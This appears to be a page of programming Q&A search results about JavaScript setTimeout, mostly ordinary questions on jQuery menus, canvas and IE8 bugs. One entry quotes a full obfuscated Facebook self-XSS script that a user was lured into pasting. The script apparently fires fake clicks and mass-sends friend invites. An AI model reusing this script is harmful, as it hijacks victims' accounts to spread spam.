Search Results

Search found 541 results on 22 pages for 'settimeout'.

Page 16/22 | < Previous Page | 12 13 14 15 16 17 18 19 20 21 22  | Next Page >

  • jQuery-driven app. won't work without alert()

    - by webjawns.com
    I have seen a lot of articles on this, but none dealing with jQuery, so here I go... I am implementing a version of a script from http://javascript-array.com/scripts/jquery_simple_drop_down_menu/ into an existing application; however, I cannot get it to work without adding alert('msg...') as the first method within the $(document).ready() call. This has nothing to do with load time... no matter how long I wait, the menu does not work. Add alert(), however, and it works like a charm. var timeout = 500; var closetimer = 0; var ddmenuitem = 0; function jsddm_open() { jsddm_canceltimer(); jsddm_close(); ddmenuitem = $(this).find('ul').css('visibility', 'visible');} function jsddm_close() { if(ddmenuitem) ddmenuitem.css('visibility', 'hidden');} function jsddm_timer() { closetimer = window.setTimeout(jsddm_close, timeout);} function jsddm_canceltimer() { if(closetimer) { window.clearTimeout(closetimer); closetimer = null;}} $(document).ready(function() { $('#jsddm > li').bind('mouseover', jsddm_open) $('#jsddm > li').bind('mouseout', jsddm_timer)}); document.onclick = jsddm_close;

    Read the article

  • I would like to interactively detect when an ActiveX component has been installed, and asynchronousl

    - by Brian Stinar
    Hello, I am working on a website, and I would like to refresh a portion of the page after an ActiveX component has been installed. I have a general idea of how to do this with polling, which I am working on getting going : function detectComponentThenSleep(){ try{ // Call what I want ActiveX for, if the method is available, or // ActiveXComponent.object == null --- test for existance document.getElementById("ActiveXComponent").someMethod(); } catch{ // Try again, if the method is not available setTimeout(detectComponentThenSleep, 100); } } However, what I would REALLY like to do is something like this: ActiveXObject.addListener("onInstall", myfunction); I don't actually have the source for the ActiveX component, but I have complete control of the page I am hosting it on. I would like to use JavaScript, if possible, to accomplish this. So, my question is 1.) will this actually work with the polling method? and 2.) Is there an interrupt/listener like way of doing this? I am sure I am missing something with connecting the dots here, I can already detect if the component is present, but I am having trouble doing this asynchronously. Thank you very much for your time and help, -Brian J. Stinar-

    Read the article

  • Obfuscated Javascript Code from Facebook Application?

    - by V.K.
    This is the code that was copied and pasted into my address bar: javascript:(function() {a='app117970624901700_jop';b='app117970624901700_jode';ifc='app117970624901700_ifc';ifo='app1179 70624901700_ifo';mw='app117970624901700_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return (c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c]) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e= ["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N \\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\ p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g \\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\ \F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d [e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e [15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e [5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x 70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document| mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})(); I ran it through http://jsbeautifier.org/ , but it didn't clean up the later part dealing with the "new RegExp"... anyone know what this code does and how to figure it out?

    Read the article

  • JS: Why isn't this variable available to the other functions?

    - by Marius Jonsson
    Hello there, I've am trying to make a canvas animation: var context; var meter; var pin; function init() { var meter = new Image(); var pin = new Image(); var context = document.getElementById('canvas').getContext('2d'); meter.src = 'background.png'; pin.src = 'needle.png'; context.drawImage(meter,0,0); context.translate(275,297); context.save(); setTimeout(startup,500); } function startup() { var r=2; // set rpm here. var i=r*36-27; var angleInRadians = 3.14159265 * i/180; //converting degree to radian context.rotate(angleInRadians); //rotating by angle context.drawImage(pin,-250,-3); //adjusting pin center at meter center context.restore(); } You can see the script at http://www.kingoslo.com/instruments/ With firebug I get error saying that context is undefined, which I think is strange. Thanks. Kind regards, Marius

    Read the article

  • Canvas scroll animation not working correctly

    - by pedalpete
    I'm building a gantt chart style timeline using html canvas element. I am currently attempting to add the functionality which allows the user to click a next/prev button to have the gantt chart scroll to display earlier or later times. The way I am doing this is to have a span.adjustTime where the id holds a value in seconds for the time to be adjusted (eg 86400 for one day). I am trying to animate the scrolling so it looks like a scroll, rather than jumping ahead by one day. I have a small problem in my timing calculation, but the script below is not animating, but rather jumping directly to the final time. I do have the draw function running on a separate setInterval which updates every second, so I'm hoping it isn't an issue of conflicting timers on the same function on the same element and data. jQuery('span.adjustTime').click(function() { var adjustBy = parseInt(jQuery(this).attr('id').replace('a', '')); var data = jQuery('img#logo').data(); for(var m = 1; m >= 30; m++) { gantt.startUnixTime = gantt.startUnixTime + (adjustBy * (m * 0.001)); var moveTimer = setTimeout(function() { draw(document.getElementById('gantt'), data, gantt); }, 1000); if (m == 30) { clearTimeout(moveTimer); } } });

    Read the article

  • Event type property lost in IE-8

    - by Channel72
    I've noticed a strange Javascript error which only seems to happen on Internet Explorer 8. Basically, on IE-8 if you have an event handler function which captures the event object in a closure, the event "type" property seems to become invalidated from within the closure. Here's a simple code snippet which reproduces the error: <html> <head> <script type = "text/javascript"> function handleClickEvent(ev) { ev = (ev || window.event); alert(ev.type); window.setTimeout(function() { alert(ev.type); // Causes error on IE-8 }, 20); } function foo() { var query = document.getElementById("query"); query.onclick = handleClickEvent; } </script> </head> <body> <input id = "query" type = "submit"> <script type = "text/javascript"> foo(); </script> </body> </html> So basically, what happens here is that within the handleClickEvent function, we have the event object ev. We call alert(ev.type) and we see the event type is "click". So far, so good. But then when we capture the event object in a closure, and then call alert(ev.type) again from within the closure, now all of a sudden Internet Explorer 8 errors, saying "Member not found" because of the expression ev.type. It seems as though the type property of the event object is mysteriously gone after we capture the event object in a closure. I tested this code snippet on Firefox, Safari and Chrome, and none of them report an error condition. But in IE-8, the event object seems to become somehow invalidated after it's captured in the closure. Question: Why is this happening in IE-8, and is there any workaround?

    Read the article

  • how do I call a javacript function every 60 seconds?

    - by William
    So I'm trying to work on a Canvas demo, and I want this square to move from one side to the other, but I can't figure out how to call javascript in a way that repeats every 60 seconds. Here's what I got so far: <!DOCTYPE html> <html lang="en"> <head> <title>Canvas test</title> <meta charset="utf-8" /> <link href="/bms/style.css" rel="stylesheet" /> <style> body { text-align: center; background-color: #000000;} canvas{ background-color: #ffffff;} </style> <script type="text/javascript"> var x = 50; var y = 250; function update(){ draw(); x = x + 5; } function draw(){ var canvas = document.getElementById('screen1'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); ctx.fillStyle = 'rgb(236,138,68)'; ctx.fillRect(x,y,24,24); } } </script> </head> <body onLoad="setTimeout(update(), 0);"> <canvas id="screen1" width="500" height="500"></canvas> </body> </html>

    Read the article

  • On Render Callback For G+ Button

    - by Michael Robinson
    How might I go about performing an action only when a G+ button has finished rendering? Facebook allows one to do this using the following: FB.XFBML.parse(document, function() { alert('rendering done'); }); I've perused Google's documentation, but didn't see anything helpful. Currently my workaround is to monitor the G+ element until certain elements have been added, then perform my action: (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; po.onload = function() { var awaitRender = function(element) { if (element.firstChild && element.firstChild.firstChild && element.firstChild.firstChild.tagName.toUpperCase() === 'IFRAME') { alert('rendered!'); } else { window.setTimeout(function() { awaitRender(element) }, 100); } }; var buttons = document.getElementsByClassName('googleplus-button'); for(var i = 0; i < buttons.length; i++) { awaitRender(buttons[i]); } } var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); I'd like to know please, if there is either: A correct way one should do this for G+ buttons A better implementation that what I've hacked together above

    Read the article

  • W3C error doc error? Output tag browser support.

    - by ThomasReggi
    Was looking at the reference page here : http://www.w3.org/TR/html5/offline.html I copied and pasted the code on my server here in separate files. All of the pages are linked correctly but the clock won't show. Just to double check, it wasn't my "server config" I put it on jsfiddle.net here: http://jsfiddle.net/reggi/Dy8PU/. Fails: MAC / FIREFOX 3.6.13 Wins: MAC / FIREFOX 4.0.b8 Is this dummy example code? <!-- clock.html --> <!DOCTYPE HTML> <html> <head> <title>Clock</title> <script src="clock.js"></script> <link rel="stylesheet" href="clock.css"> </head> <body> <p>The time is: <output id="clock"></output></p> </body> </html> /* clock.css */ output { font: 2em sans-serif; } /* clock.js */ setTimeout(function () { document.getElementById('clock').value = new Date(); }, 1000); UPDATE: The W3C code above works on only the NEWEST Beta releases of certain browsers Below are some viable current javascript workarounds

    Read the article

  • Any solution to IE8 bug rendering error when hiding elements?

    - by Magnar
    Bug: when hiding an element with JavaScript in IE8, the margin of still-visible other elements on the side is ignored. This bug has been introduced with IE8, since it works as expected in IE6+7 (and other browsers). <html> <head> <style> #a, #b, #c, #d {background: #ccf; padding: 4px; margin-bottom: 8px;} </style> </head> <body> <div id="a">a</div> <div id="b">b</div> <div id="c">c</div> <div id="d">d</div> <script> setTimeout(function () { document.getElementById("b").style.display = "none"; }, 1000); </script> </body> </html> When running this code, notice how a and c have a margin of 8 between them in normal browsers, but a margin of 0 in IE8. Remove the padding, and IE8 behaves like normal. Remove the timeout and IE8 behaves like normal. A border behaves the same way. I've been working with IE-bugs the last 10 years, but this has me stumped. The solution for now is to wrap the divs, and apply the margin to the outer element and other styles to the inner. But that's reminicent of horrible IE6-workarounds. Any better solutions?

    Read the article

  • Wait until image loads before performing function

    - by Steven
    I'm trying to create a simple portfolio page. I have a list of thumbs and an image. When you click on a thumb, the image will change. When a thumbnail is clicked, I'd like to have the image fade out, wait until the image is loaded, then fade back in. The problem I have right now is that some of the images are pretty big, so it fades out, then fades back in immediately, sometimes while the image is still loading. I'd like to avoid using setTimeout, since sometimes an image will load faster or slower than the time I set. Here's my code: $(function() { $('img#image').attr("src", $('ul#thumbs li:first img').attr("src")); $('ul#thumbs li img').click(function() { $('img#image').fadeOut(700); var src = $(this).attr("src"); $('img#image').attr("src", src); $('img#image').fadeIn(700); }); }); <img id="image" src="" alt="" /> <ul id="thumbs"> <li><img src="/images/thumb1.png" /></li> <li><img src="/images/thumb2.png" /></li> <li><img src="/images/thumb3.png" /></li> </ul>

    Read the article

  • How to cancel a jquery.load()?

    - by Dirk Jönsson
    I'd like to cancel a .load() operation, when the load() does not return in 5 seconds. If it's so I show an error message like 'sorry, no picture loaded'. What I have is... ...the timeout handling: jQuery.fn.idle = function(time, postFunction){ var i = $(this); i.queue(function(){ setTimeout(function(){ i.dequeue(); postFunction(); }, time); }); return $(this); }; ... initializing of the error message timeout: var hasImage = false; $('#errorMessage') .idle(5000, function() { if(!hasImage) { // 1. cancel .load() // 2. show error message } }); ... the image loading: $('#myImage') .attr('src', '/url/anypath/image.png') .load(function(){ hasImage = true; // do something... }); The only thing I could not figure out is how to cancel the running load() (if it's possible). Please help. Thanks! Edit: Another way: How do I prevent the .load() method to call it's callback function when it's returning?

    Read the article

  • Another IE jQuery AJAX/post problem..

    - by Azzyh
    OK so i have this website, http://www.leinstein.dk. You will see "Hello World!" This is from ok.php, ive made a script that refreshes ok.php after 10 seconds. Anyways, This does not show in IE. I dont know why, and i hope you can help me out. Here's My script: function ajax_update() { cache: false /* var wrapperId = '#wtf'; */ var postFile = 'ok.php'; $.post("ok.php", function(data){ cache: false $("#wtf").html(data); }); setTimeout('ajax_update()', 10000); } And here's index.php: <? header("cache-control: no-cache"); ?> <html> <head> <link href="style.css" type="text/css" rel="stylesheet" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script> <script src="ajax_framework.js" language="javascript" charset="UTF-8"></script> </head> <!-- AJAX UPDATE COMMENTS BEGIN --> <body onload="ajax_update();"> <!-- AJAX UPDATE END --> <br> <div id="wtf"></div> </body> </html> Thank you in forward..!

    Read the article

  • Making a Javascript game, Having a little problem with scrolling.

    - by RobertWHurst
    I have a #wrapper div and a #grid div nested inside. currently I can scroll around with this function below. getCursorPos : function(){ // set the empty cursor object var cursor = {}; //get the offset from the left of the grid container var grid //offset loop $(function getCursorPos(){ grid = $('#grid').offset(); setTimeout(getCursorPos, game.loopSpeed); }); //continuosly get the position var that = this; $(document).mousemove(function(e){ //if game mode is menu exit if(game.mode === 'menu'){ return; } // NOTE: this looks a litle over done but don't remove anything // its like this because javascript uses floating points // and so in order to line up to the nearest hunderedth I // had to make the cursor and div position intergers by // muliplying by ten. one the two are added I reduced them // and rounded them. that.x = Math.round(((e.pageX * 10) - (grid.left * 10)) / 10); that.y = Math.round(((e.pageY * 10) - (grid.top * 10)) / 10); }); }, the problem is that the mouse coordinates only update when the mouse moves. is there any way to get the coordinates with out moving the mouse?

    Read the article

  • Multiple jQuery.noConflict() instances...

    - by user353816
    I am working with several jQuery scripts that include a MenuFader (http://css-tricks.com/examples/MenuFader/), twitter feed, and timestamp. Additionally I have a couple Mootools scripts that include the Barackslideshow (http://devthought.com/wp-content/moogets/BarackSlideshow/demo.html). And finally I have a scrolling ticker with tooltips taken from the twitter homepage. I originally had a conflict with the Jquery MenuFader and Mootools BarackSlideshow, but easily fixed this issue with the jQuery.noconflict(); and replaced all corresponding $ with jQuery. Unfortunately, after I added the scrolling ticker from Twitter, the Mootools BarackSlideshow and the Jquery MenuFader no longer work. I tried to implement jQuery.noconflict(); then $.noconflict(); then var j = jQuery.noconflict(); and replacing the $ as I did previously, but I cannot get the scripts to play nicely. Any help is greatly appreciated...I have been working on this all day. I am pretty new with javascript, but have managed to get through most problems with a little persistence. Please take a look at the script below: <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script> <script src="http://a2.twimg.com/a/1274914417/javascripts/fronts.js" type="text/javascript"></script> <script type="text/javascript"> //<![CDATA[ $( function () { setTimeout(function() { $(".twtr-widget").append($("<div></div>").attr("class", "twtr-fade")); }, 0); (function() { var tabIndex = $("[tabindex]:last").attr("tabIndex"); var setTabIndex = function() { $(this).attr("tabindex", ++tabIndex); } $(".footer-nav a").each(setTabIndex); $(".language-select a").each(setTabIndex); })(); $("#signup_submit").scribe({ event_name: "signup_submit_click", experiment: "ab_signup_button", bucket: "sign_up" }, "www_ab_tests"); $('#signin_menu').isSigninMenu(); new FrontPage().init(); }); //]]>

    Read the article

  • Javascript changing source of an image

    - by Pete Herbert Penito
    Hi Everyone! I have some javascript which runs a timer that animates something on the website. It all works perfectly but I want to get an image to change when the animation is run, It uses jquery: if(options.auto && dir=="next" && !clicked) { timeout = setTimeout(function(){ if (document.images['bullet1'].src == "img/bulletwhite.png") { document.images['bullet1'].src = "img/bullet.png"; document.images['bullet2'].src = "img/bulletwhite.png"; } animate("next",false); },diff*options.speed+options.pause); } options.auto means that its automatically cycling, dir is the direction of the motion and clicked is whether or not the user clicked it. Is there something wrong with my syntax here? I ran firebug with it, and it doesn't throw any errors, it simply won't work. Any advice would help! I should mention that the src of bullet1 starts at bulletwhite.png and then I was hoping for it to change to bullet.png and have bullet2 change to bulletwhite.png.

    Read the article

  • Javascript problem with iframe that's hidden before loaded

    - by Aistina
    I have a page that contains an iframe that gets loaded using Javascript: index.html <iframe id="myFrame" width="800" height="600" style="display: none;"></iframe> <div id="loader"><!-- some loading indicator --></div> <script type="text/javascript"> function someFunction() { var myFrame = document.getElementById('myFrame'); var loader = document.getElementById('loader'); loader.style.display = 'block'; myFrame.src = 'myFrame.html'; myFrame.onload = function() { myFrame.style.display = 'block'; loader.style.display = 'none'; }; } </script> The page that gets loaded in the iframe contains some Javascript logic which calculates the sizes of certain elements for the purposes of adding a JS driven scrollbar (jScrollPane + jQuery Dimensions). myFrame.html <div id="scrollingElement" style="overflow: auto;"> <div id="several"></div> <div id="child"></div> <div id="elements"></div> </div> <script type="text/javascript"> $(document).load(function() { $('#scrollingElement').jScrollPane(); }); </script> This works in Chrome (and probably other Webkit browsers), but fails in Firefox and IE because at the time jScrollPane gets called, all the elements are still invisble and jQuery Dimensions is unable to determine any element's dimensions. Is there a way to make sure my iframe is visible before $(document).ready(...) gets called? Other than using setTimeout to delay jScrollPane, which is something I definitely want to avoid.

    Read the article

  • how to create class alert using lcdui package in blackberry

    - by Baby
    Advance Thanks.i am new to blackberry developement.i try the following code for creating alert using lcdui package.but nothing will coming when i am running Plz help me. package alertpack; import javax.microedition.lcdui.Alert; import javax.microedition.lcdui.AlertType; import javax.microedition.lcdui.Command; import javax.microedition.lcdui.CommandListener; import javax.microedition.lcdui.Display; import javax.microedition.lcdui.Displayable; import javax.microedition.lcdui.Form; import javax.microedition.lcdui.Screen; import javax.microedition.midlet.MIDlet; import javax.microedition.midlet.MIDletStateChangeException; import net.rim.device.api.ui.Color; import net.rim.device.api.ui.Graphics; public class alertclass extends MIDlet implements CommandListener { private Display display; private Alert alert; private Form form = new Form("Throw Exception"); private Command exit = new Command("Exit", Command.SCREEN, 1); //public static void main(String[] args) //{ //} private boolean exitFlag = false; public alertclass(){ display = Display.getDisplay(this); form.addCommand(exit); form.setCommandListener(this); } protected void destroyApp(boolean unconditional) throws MIDletStateChangeException { // TODO Auto-generated method stub if (unconditional == false) { throw new MIDletStateChangeException(); } } protected void pauseApp() { // TODO Auto-generated method stub } protected void startApp() throws MIDletStateChangeException { // TODO Auto-generated method stub display.setCurrent(form); } public void commandAction(Command c, Displayable d) { // TODO Auto-generated method stub if (c == exit) { try { if (exitFlag == false) { alert = new Alert("Busy", "Please try again.", null, AlertType.WARNING); alert.setTimeout(Alert.FOREVER); display.setCurrent(alert, form); destroyApp(false); } else { destroyApp(true); notifyDestroyed(); } } catch (Exception exception) { exitFlag = true; } } } }

    Read the article

  • Add leading zeros to this javascript countdown script?

    - by eddjedi
    I am using the following countdown script which works great, but I can't figure out how to add leading zeros to the numbers (eg so it displays 09 instead of 9.) Can anybody help me out please? Here's the current script: function countDown(id, end, cur){ this.container = document.getElementById(id); this.endDate = new Date(end); this.curDate = new Date(cur); var context = this; var formatResults = function(day, hour, minute, second){ var displayString = [ '<div class="stat statBig">',day,'</div>', '<div class="stat statBig">',hour,'</div>', '<div class="stat statBig">',minute,'</div>', '<div class="stat statBig">',second,'</div>' ]; return displayString.join(""); } var update = function(){ context.curDate.setSeconds(context.curDate.getSeconds()+1); var timediff = (context.endDate-context.curDate)/1000; // Check if timer expired: if (timediff<0){ return context.container.innerHTML = formatResults(0,0,0,0); } var oneMinute=60; //minute unit in seconds var oneHour=60*60; //hour unit in seconds var oneDay=60*60*24; //day unit in seconds var dayfield=Math.floor(timediff/oneDay); var hourfield=Math.floor((timediff-dayfield*oneDay)/oneHour); var minutefield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour)/oneMinute); var secondfield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour-minutefield*oneMinute)); context.container.innerHTML = formatResults(dayfield, hourfield, minutefield, secondfield); // Call recursively setTimeout(update, 1000); }; // Call the recursive loop update(); }

    Read the article

  • new Date() In javascript :: need Help

    - by gskoli
    Dear all, i am creating a digital clock using images & javascript but i want to pass a server time that time ... How to do that ... I am getting time from server and passing it to Date Following i have given snippet . var time_str = document.clock_form.time_str.value ; //alert (time_str); function dotime(){ theTime=setTimeout('dotime();',1000); //d = new Date(Date.parse(time_str)); d= new Date(time_str); hr= d.getHours()+100; mn= d.getMinutes()+100; se= d.getSeconds()+100; var time_str = document.clock_form.time_str.value ; //alert (time_str); alert(' TIME ---> '+hr+' :: '+mn+' :: '+ se); if(hr==100){ hr=112;am_pm='am'; } else if(hr<112){ am_pm='am'; } else if(hr==112){ am_pm='pm'; } else if(hr>112){ am_pm='pm';hr=(hr-12); } tot=''+hr+mn+se; document.hr1.src = '/flash_files/digits/dg'+tot.substring(1,2)+'.gif'; document.hr2.src = '/flash_files/digits/dg'+tot.substring(2,3)+'.gif'; document.mn1.src = '/flash_files/digits/dg'+tot.substring(4,5)+'.gif'; document.mn2.src = '/flash_files/digits/dg'+tot.substring(5,6)+'.gif'; document.se1.src = '/flash_files/digits/dg'+tot.substring(7,8)+'.gif'; document.se2.src = '/flash_files/digits/dg'+tot.substring(8,9)+'.gif'; document.ampm.src= '/flash_files/digits/dg'+am_pm+'.gif'; } dotime(); But it is not working Help me out Thanks in advance.

    Read the article

  • jQuery: How to reverse sortable('serialize') arrays from last to first?

    - by Binyamin
    The discussion begins http://stackoverflow.com/questions/654535/jquery-what-to-do-with-the-list-that-sortableserialize-returns/2920760#2920760 How to reverse it from last to first, updateList.php?id[]=5&id[]=4&id[]=3&id[]=2&id[]=1&&action=update? <ul> <li id="oreder-5">5</li> <li id="oreder-4">4</li> <li id="oreder-3">3</li> <li id="oreder-2">2</li> <li id="oreder-1">1</li> <ul> My code: $(document).ready(function(){ order=[]; $('#list ul').children('li').each(function(idx, elm) { order.push(elm.id.split('-')[1]) }); $.post('updateList.php', {'order[]': order, action: 'update'}); function slideout(){ setTimeout(function(){ $("#response").slideUp("slow", function () {}); }, 2000); } $("#response").hide(); $(function() { $("#list ul").sortable({ opacity: 0.8, cursor: 'move', update: function() { var order = $(this).sortable("serialize") + '&action=update'; $.post("updateList.php", order, function(theResponse){ $("#response").html(theResponse); $("#response").slideDown('slow'); slideout(); }); }}); }); });

    Read the article

  • Time to start a counter on client-side.

    - by Felipe
    Hi everybody, I'm developing an web application using asp.net mvc, and i need to do a stopwatch (chronometer) (with 30 seconds preprogrammed to start in a certain moment) on client-side using the time of the server, by the way, the client's clock can't be as the server's clock. So, i'm using Jquery to call the server by JSon and get the time, but it's very stress because each one second I call the server to get time, something like this: $(function() { GetTimeByServer(); }); function GetTimeByServer() { $.getJSon('/Home/Time', null, function(result) { if (result.SecondsPending < 30) { // call another function to start an chronometer } else { window.SetTimeout(GetTimeByServer, 1000); //call again each 1 second! } }); } It works fine, but when I have more than 3 or 4 call like this, the browser slowly but works! I'd like to know, how improve more performace in client side, or if is there any way to do this... is there any way to client listen the server like a "socket" to know if the chronometer should start... PS: Sorry for my english! thanks Cheers

    Read the article

  • How can I do something when a runloop event is done processing?

    - by quixoto
    I have some processing in my Cocoa app that sometimes ends up calling through a hierarchy of data to do a bunch of work as the result of an event. Each small piece creates and destroys some resources. I don't want those resources around most of the time, but I would like to find a smart way of creating them before all the work and killing them at the end. Short of making those buffers etc available globally from the "parent" or elsewhere, is there a way to know locally in some code when an event loop run has ended? Then I could create them if they're not there, and keep them until the run loop ends, reusing them for any subsequent calls before that time. EDIT: I'm not looking for suggestions on how to restructure my code, which I may do anyways. This issue just brought up the question for me of how to know when the runloop is done. If I were writing in, I dunno, Javascript, I'd use a setTimeout with zero to accomplish end-event cleanup. I suppose an NSTimer with an interval of zero might accomplish this too, but wondering if there's something cleaner. Thanks.

    Read the article

  • Creating a dynamic two-column iOS spinning wheel with HTML/Javascript

    - by JSW189
    I am trying to create a dynamic two-column spinning wheel for iOS Safari using this HTML/Javascript wheel. However, I am having trouble getting the value of the first column to change the results of the second column. I have tried using an if statement to get the value of the first variable (var beverage) and add the value of the second column correspondingly. Does anybody know what I am doing wrong/if there is a better approach? function openBirthDate() { var beverage = { 1:'Coffee', 2:'Soda' }; //THIS IS WHERE I'M HAVING TROUBLE var results = SpinningWheel.getSelectedValues(); if (results.values === 1) { var company = { 1:'Starbucks', 2:'Dunkin Donuts' }; } else { var company = { 1:'Coke', 2:'Pepsi' }; } var size = { 1:'Tall', 2:'Grande', 3:'Venti' }; SpinningWheel.addSlot(type, '', 1); SpinningWheel.addSlot(company, '', 1); SpinningWheel.addSlot(size, '', 1); SpinningWheel.setCancelAction(cancel); SpinningWheel.setDoneAction(done); SpinningWheel.open(); } function done() { var results = SpinningWheel.getSelectedValues(); document.getElementById('result').innerHTML = 'values: ' + results.values.join(' ') + '<br />keys: ' + results.keys.join(', '); } function cancel() { document.getElementById('result').innerHTML = 'cancelled!'; } window.addEventListener('load', function(){ setTimeout(function(){ window.scrollTo(0,0); }, 100); }, true);

    Read the article

  • Passing time from server to client

    - by gskoli
    Dear all, i am creating a digital clock using images & javascript but i want to pass a server time that time ... How to do that ... I am getting time from server and passing it to Date Following i have given snippet . var time_str = document.clock_form.time_str.value ; //alert (time_str); function dotime(){ theTime=setTimeout('dotime();',1000); //d = new Date(Date.parse(time_str)); d= new Date(time_str); hr= d.getHours()+100; mn= d.getMinutes()+100; se= d.getSeconds()+100; var time_str = document.clock_form.time_str.value ; //alert (time_str); alert(' TIME ---> '+hr+' :: '+mn+' :: '+ se); if(hr==100){ hr=112;am_pm='am'; } else if(hr<112){ am_pm='am'; } else if(hr==112){ am_pm='pm'; } else if(hr>112){ am_pm='pm';hr=(hr-12); } tot=''+hr+mn+se; document.hr1.src = '/flash_files/digits/dg'+tot.substring(1,2)+'.gif'; document.hr2.src = '/flash_files/digits/dg'+tot.substring(2,3)+'.gif'; document.mn1.src = '/flash_files/digits/dg'+tot.substring(4,5)+'.gif'; document.mn2.src = '/flash_files/digits/dg'+tot.substring(5,6)+'.gif'; document.se1.src = '/flash_files/digits/dg'+tot.substring(7,8)+'.gif'; document.se2.src = '/flash_files/digits/dg'+tot.substring(8,9)+'.gif'; document.ampm.src= '/flash_files/digits/dg'+am_pm+'.gif'; } dotime(); But it is not working Help me out Thanks in advance.

    Read the article

< Previous Page | 12 13 14 15 16 17 18 19 20 21 22  | Next Page >